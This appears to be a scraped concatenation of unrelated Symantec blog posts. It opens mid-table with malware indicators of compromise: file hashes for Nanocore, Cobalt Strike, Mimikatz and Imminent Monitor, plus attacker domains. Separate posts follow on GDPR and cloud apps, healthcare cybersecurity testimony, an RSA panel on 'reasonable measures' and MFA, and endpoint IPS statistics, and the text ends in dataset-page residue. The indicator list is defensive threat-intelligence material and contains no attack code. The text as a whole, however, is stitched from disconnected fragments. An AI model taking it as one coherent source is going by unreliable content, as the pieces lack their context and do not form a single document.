8dd3e20fe9770843bc2c9b2523a7cfb2 8fe18a768769342be49ac33d2ba0653ba7f105a503075231719c376b6ded8846 JavaScript downloader
470cdc0ea9caed534b14bd5e195d19e8 5f456a55f18bf183a7c988617787a041b90e8ecbeed8a01c583597b3fd19b42e JavaScript downloader
605e99ea7dc4e73ae2af59cfb03360ec ce58546eebd3c8e218b1db19c9c7b5ffe086ee814aab0e891061f8cba954b14d JavaScript downloader
e8828b155567e587fbeca9069289e0d9 3b7cc16fa5c5a78f0d1816d09a71b835f589de842b20e8c96c7084b9b0a89ff3 Trojan.Nancrat (Nanocore)
Infrastructure
Domain
nemesis225.ddns.net
The second attack type
Files
MD5 SHA256 Description
48aa8247b840cc5bf6603972970be279 04f3a52fa8ae1a3af6c965f7c3a4655a98c3c8e1b3d3ffa9e4948bded6ed67d3 Silently installs UltraVNC as a backdoor
c29b2a8249f9ef6adfc9625a2f09207b 74456c52a6d02c06567c0ecf871a15aff25b2204374a62bbb2d5dd027d999fb9 Trojan.Agentemis (Cobalt Strike)
dffdbe7c37216566b73f45547e95c907 28595218d1e6536df5ff53d90e5608f11751ddc2e7585a12bb041d8e9b31e550 Trojan.Agentemis (Cobalt Strike)
0e006ca75884ad69529d8bfb5871a0da bc10d67886829d08e0241ad9c543e625df3f5443df0e7fbead9ca4f03081f71e Shellcode downloader
6ea6b4affcfb54fde3cb753283159018 8039284cd3c4306225f8f7494544de1699637c59bec4b1d1b4e01fc893f5b0d8 Remote access tool
fee97320cd9a9848922b01c32a41cdd4 56e6f061c8424a70e796cf6a2a6d6fbbd691431cfa0aeed186cc50177831e5d9 Remote access tool
4acbde841b82fd7203e55ac83aa7c1fe 0b038ee8dca1a0f5f9453303542ff2cddbbca2458fdf36b09a6756d4e5b0fec9 Trojan.Agentemis (Cobalt Strike)
Infrastructure
Domain
moneygram.servehttp.com
The third attack type
Files
MD5 SHA256 Description
97034d8a97b967b2f18a867b411552f7 6bfc1ec16f3bd497613f57a278188ff7529e94eb48dcabf81587f7c275b3e86d Mimikatz
332a5371389a8953a96bf09b69edcb6e e46ba4bdd4168a399ee5bc2161a8c918095fa30eb20ac88cac6ab1d6dbea2b4a Mimikatz
8184f24a4f4ff4438dba050b2e3d1af7 c1993735265f4274b81a6edf789e0245f2f7f5ee78f4172101728a324cdd3d2d Backdoor.Gussdoor (Remote Manipulator System)
The fourth attack type
Files
MD5 SHA256 Description
49ae7d13f43bb04ed31d593787d4e17e 06fe2b7ff6af10cd0ec8395490567f8a0f66d8e083a72f57f18e9ad74dfff727 Infostealer.Hawket (Imminent Monitor)
75e5594c6882704ea2889e3fd758cbbf 6eb3281f5a80223a5b58af20d415453a9013a487c89d89cd7658bb7451902548 Infostealer.Hawket (Imminent Monitor)
Infrastructure
Domain
noreply377.ddns.net
|
What GDPR Will Mean for Cloud Apps
When it comes to gathering and protecting personal data from cloud apps, your job just took on a major set of new responsibilities
The Global Data Protection Regulation (GDPR) deadline is here. If you’re using cloud apps like Microsoft Office 365, Google G Suite, Salesforce, Workday, Slack, etc., there are a few things you need to know - and a few things you should probably do.
The GDPR is a new European data privacy law. At its core, GDPR is a directive aimed at protecting personal data for EU subjects; it describes what constitutes personal data and sets requirements for organizations that control and process personal data. Here’s a quick guide to understand what is considered personal data, your role as a “data controller” and/or a “data processor”, and how you can use a cloud access security broker (CASB) to help fulfill critical GDPR compliance requirements.
What is Considered Personal Data?
The GDPR defines personal data very broadly. Beyond the data types we are used to seeing in data privacy regulations such as names, addresses, phone numbers, health data, and financial data; the GDPR covers any data that can be associated with or used to identify a specific natural person. This includes data such as IP addresses, cookies, RF tags, or any set of data that could be broken down to identify an individual (such as reference to a characteristic of a person in an identifiable group where there is only one person with that characteristic).
What is a Data Controller?
A data controller is a natural or legal person, public authority, agency or other body which, alone or jointly with others, determines the purposes and means of the processing of personal data. An entity may or may not be collecting the personal data themselves but if they are making the decisions for how personal data on natural EU subjects is being processed, they are the data controller.
What is a Data Processor?
A data processor is a natural or legal person, public authority, agency or other body responsible for processing personal data on behalf of a data controller. Most data controllers are also processing the data they control via their own internal systems. However, in today’s cloud world, it is increasingly common for organizations to be using SaaS, PaaS, or IaaS to help with business processes.
Are you using Office 365 or Salesforce or Workday or Amazon Web Services? These are all data processors. How about cloud email or instant messaging? Are your employees using cloud services to convert files from one type to another or to send extra-large files to colleagues? These are also data processors. Even if this is simply an entity that provides a platform where systems containing personal data can be hosted or personal data is temporarily held (be it storage, file sharing, file conversion, translation, email, formatting, or other activity), that cloud app provider is a data processor.
Who is Responsible for What?
A data controller is responsible for complying with the GDPR principles of lawfulness, fairness and transparency, data minimization, accuracy, storage limitation and integrity, and confidentiality of personal data.
A data controller is also responsible for ensuring that data is processed according to the principles of the regulation. So, if you are the data controller, you are responsible for making sure you are using responsible and compliant data processors – whether that processor is yourself or a third-party cloud service.
You are responsible for securing any personal data you control that applies to EU subjects no matter where you or your data processors are geographically located. You must also demonstrate that you have implemented appropriate processes and technical measures to comply with the GDPR.
What to Do
There is a lot to unpack within the GDPR but in the context of using cloud apps, it boils down to two things; ensure you are using cloud apps that can be compliant with GDPR and enforce data security to protect personal data when you are using cloud apps.
A CASB, such as Symantec’s CloudSOC, can help you achieve both of these things very quickly.
Step 1: Analyze and Control What Cloud Apps You Use
Discover what cloud apps are being used by your employees. Identify if these apps are GDPR-compliant. Monitor how you are using these apps.
A good CASB Audit service can discover what cloud apps are being used by your local and remote employees and it will provide risk ratings and intelligence on risk attributes for those cloud apps. With this intelligence, you can easily identify what apps to use and what apps to restrict. Plus, you will be able to demonstrate that you monitor your cloud app data processors with automated reports and intuitive dashboards. Hint: Most enterprises discover that their employees are using more than 1,000 different clouds apps and most of these apps are not GDPR ready.
Step 2: Secure and Control Personal Data in Cloud Apps
Detect and monitor any personal data processed in cloud apps. Track where it is and identify if it is at risk of exposure. Automate controls to protect that personal data. Prevent it from being processed on non-compliant apps. If you allow it to be processed in a cloud app, limit who can access that data. Consider encrypting the data.
A good CASB will enforce data loss prevention (DLP) and data security over personal data in cloud apps. It can automatically scan content and classify it if it contains personal data. It will track where the data is stored, who has access to that data, and if it is at risk of exposure. It can help prevent unsafe uploads, downloads, or access to personal data through automated policies. It provides reports and dashboards so you can demonstrate the measures you take to protect personal data in the cloud.
If you found this information useful, you may also enjoy:
Learn more about cloud security from Symantec and how CloudSOC can help you comply with the GDPR to safely use cloud apps.
Learn more about GDPR on the Data Protection home page for the European Commission or read the content of Regulation (EU) 2016/679.
|
What I Told Congress: Healthcare’s Under Attack from Cyber Criminals
The healthcare industry has been slow to adopt modern cyber security practices, a shortcoming that cyber criminals increasingly seek to exploit
A few weeks ago, I was honored to take part in a panel hosted by the House Committee for Homeland Security that discussed cyber security in healthcare and what cyber attacks mean not only for patients, but for doctors and hospitals as well.
The panel was held at the Rayburn House Office Building and sponsored by Rep. Bennie G. Thompson. It included individual presentations by myself, John Riggi, the senior advisor for cyber security at the American Hospital Association; Dr. Oscar Alleyne, senior advisor for public health programs at the National Association of City and County Health Officials; and Greg Wolverton, CTO at CSI Solutions, followed by a Q&A with audience members.
As the panel discussed, the healthcare industry currently finds itself in a difficult situation as it relates to cyber risks.
Healthcare systems hold vast amounts of valuable information, but the industry has largely been slow to adopt modern cyber security practices. For example, 75% of healthcare organizations spend 6 percent or less of their information technology budget on cyber security, which is about half of other, more security mature industries.
Cyber criminals know this and look to take advantage. For example, ransomware has become a popular way to attack healthcare systems—because hackers know that hospitals cannot allow their systems to go dark for any length of time and so will quickly pay the ransom to get systems operational again.
This, of course, is just a small part of the security challenges that healthcare organizations face. From detailed patient records to proprietary business information and leading-edge research, hackers have major incentives to attack healthcare organizations. Health data is rich and can be monetized in many ways, and cyber criminals are keenly aware of that.
How Can Health Organizations Better Protect Themselves?
The first thing healthcare organizations should realize is that compliance does not mean security. Organizations need to move from making decisions driven by compliance requirements to making decisions based on security objectives – and they need to be nimble enough to update these objectives as the cyber threat landscape changes.
They need to adopt a defense in-depth approach with security defenses implemented at every relevant security control point. That includes every network component, connection point, mobile device or IoT-connected technology as well as traditional servers and workstations.
Healthcare organizations that want to greatly improve their security should follow these best practices:
Educate leadership to understand that cyber security is a business risk, not just a technology risk. A cyber security attack can severely affect operations and the ability to serve patients, so the organization’s leadership must understand the importance of sound cyber security and support it on a strategic level.
Select the right, overarching cyber security framework that guides your strategy and tactical decisions alike. For example, the NIST Cyber Security Framework is one increasingly being adopted by healthcare organizations.
When developing a cyber security strategy, get buy-in from all internal and external stakeholders.
Assume that you will be breached. Sound incident response requires everyone to be on board, and to understand their role in responding to an incident. Incident response in healthcare is complex and often requires clinical, business, and cyber security trade-offs.
Healthcare organization face a gigantic challenge in protecting their data, a task that continues to grow harder and harder. I am thankful for the opportunity to share my thoughts on Capitol Hill and for my fellow panelists who stepped up to support the greater mission. The onus is on all of us to work together and collaborate in making healthcare a more secure place.
If you found this information useful, you may also enjoy:
Cyber Security and Healthcare: An Evolving Understanding of Risk
|
What Makes for Reasonable Measures and do they Defend Against Cyber Security Lawsuits?
At RSA Conference 2021, panelists debate the meaning of a very important word that may very well have an impact in data breach litigation
The RSA Conference 2021 Virtual Experience is happening May 17-20 and Symantec, as a division of Broadcom, will be providing a summary of some of the leading stories from the conference to help you stay informed.
You’ve been hacked. Data has been stolen. Now come the lawsuits. Unless you have taken reasonable measures to protect sensitive data, your organization could be liable for damages running into the hundreds of millions of dollars. But you did take reasonable measures, didn’t you? Maybe, but the definition of reasonable has been batted around more than a typical puck in the Stanley Cup Playoffs.
To come to grips with the meaning of reasonable measures in the context of data protection, The Sedona Conference convened a working group that produced a report in November 2020. Key members of that group shed light on the report’s findings in a virtual panel discussion at the online RSA Conference 2021 on Wednesday.
Unless you have taken reasonable measures to protect sensitive data, your organization could be liable for damages running into the hundreds of millions of dollars. But you did take reasonable measures, didn’t you?
“Exploration began nearly three years ago. The law was all over the place,” said Bill Sampson, partner at the law firm Shook, Hardy & Bacon and editor-in-chief of the report. Agencies, Industry and the courts all refer to reasonableness, but, said Sampson, “There was uncertainty about what it means and how to apply it.”
The Sedona working group sought to develop a test for reasonableness, taking into account the interests of the different parties and striking a balance between the costs and benefits of implementing specific security measures. While all panelists agreed that a definition of reasonable is essential and voiced support for the Sedona report in laying out ground rules, the different perspectives of each panelist show there will be ongoing contention regarding the word for some time to come.
Cost vs. Benefit
The Sedona Conference’s “Reasonable Security Test” establishes the rule of thumb that the cost to the data custodian of implementing security measures should not be greater than the benefit the tighter security yields to the data owner.
In a hypothetical example, the panel discussed a breach suffered by a company that created a social media app that collects health data from senior citizens’ personal devices and web browsers. The application did not include multi-factor authentication (MFA), a data access protection measure that is widely recognized as highly effective.
“MFA should be used for internet-facing applications, and MFA should be required for remote access. You need to train users for MFA,” said Phyllis Lee, senior director of controls for the Center for Internet Security (CIS). “We believe that MFA is better than just username and password, and we believe it is achievable for most organizations.”
But, the discussion revealed, the issue is not always so clear-cut in practice. For example, Chris Cronin, principal at HALOCK Security Labs, said getting customers to use MFA faces obstacles, including slower application performance. And the extra step MFA requires to log onto an app deters seniors, resulting in lost business.
In this case, as in all cases, however, the costs and benefits of a technology would have to be weighed against each other.
Such a case would attract the attention of the Federal Trade Commission (FTC), asserted James Trilling, attorney at the FTC. “In cases like this, the FTC would make contact and demand heightened protection. A lot of seniors are using this app,” noted Trilling, adding the breach would cause them to be targeted by scams, as well as identity theft once the data appeared on the dark web. “To determine whether the app developer did act reasonably, the FTC would ask why they did not use MFA,” said Trilling.
In this case, as in all cases, however, the costs and benefits of a technology would have to be weighed against each other. David Cohen, counsel at Orrick, Herrington & Sutcliffe, LLP, who defends companies against damage claims resulting from security breaches, asserted, “You need to make sure the benefits are not overstated and the costs are not understated.” MFA, he explained, could lower risk, but it’s necessary to measure how much by comparing MFA security to non-MFA security measures.
“And how much would MFA have decreased the risk of the data being stolen?” Cohen continued. Without that knowledge, it would be impossible to understand the cost and benefit of implementing MFA. Further, he explained, not every breach in which data is stolen results in consumer harm. “Not all scams work,” he pointed out.
And Cohen agreed with Cronin that the costs of MFA would have to be factored in, including the technology, management labor and customer support – not to mention the lost business of seniors who would abandon the service rather than use MFA. Trilling, however, rejoined that some consumers might never have used the app because it did not have MFA, a valuable security feature they desired. “Were choices presented to consumers, and if not, why not?” he demanded.
While the Sedona report is not the final word on what security measures are reasonable, it’s a good start, the panelists agreed. Said Trilling, “The framework of the test could facilitate a useful discussion, and it would allow disparate views to be exchanged.”
|
What Symantec Network Protection at the Endpoint Does for You
Understanding Intrusion Protection System (IPS)
You may not know it, but the Intrusion Protection System (IPS) technology in our Endpoint Protection product is doing a lot for you. First introduced in 2003, as part of Network Protection, it was the first major technology addition to anti-virus in our endpoint protection product. We thought it was going to be so important that we changed the name of the product to reflect its introduction. We changed the name of the product a few times since then, so we may not have gotten that right in 2003. But we got IPS right.
10%
To truly understand IPS you need to start at a small stat. IPS can identify malware going out onto the network to talk to a command and control (C&C) server. When malware attempts to talk to a C&C, IPS can block that traffic and notify that a machine is infected. That’s 10% of all detections IPS makes. A small part of what IPS does. The big part is the 90% of its detections. Threats it blocks that never get on the endpoint. 12.5 billion attacks last year were stopped pre-infection by IPS. Threats were stopped at the network layer, so they never even made it onto the machine. That includes 3.1 billion attacks targeted at servers. All these machines were never breached. No threats needed to be removed or cleaned up. No alerts were sent to occupy the Admin or SOC. Prevention eliminates the work involved in detection and response.
9 billion
IPS was created to protect against the exploitation of network vulnerabilities. It looks for the signature of the exploit, not the malware the exploit is trying to deliver. It doesn’t care what the malware is, the attack will not get far enough to even try to download it. It’s true proactive detection and prevention. IPS does pretty well with the job it was built for. I can say this because in 2020 it blocked 9 billion of these types of attacks.
>1
But IPS is not a one trick pony. It’s also protecting against other types of attacks. Just a few of the other types blocked in 2020:
3 billion blocked of web attacks like formjacking, malicious redirects and exploits kits
527 million blocks of cryptojacking and coin miners
191 million blocked technical support scams
But wait … there’s more. IPS can also identify malware being pushed at you via the network by other means. That may be malware hosted on a website, adware trying to pop-up in your browser or a potentially unwanted application (PUA) being downloaded.
970 million blocks of malware, adware and PUAs
70%
With a total of almost 14 billion attacks blocked by Symantec IPS last year, it is responsible for 70% of all detections made in protecting endpoints.
IPS is one of the critical technologies that separate Symantec from the pack. If you are a SEP, SES Enterprise, or SES Complete customer you have IPS working to protect you. These stats make it clear that that’s what IPS does for you.
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.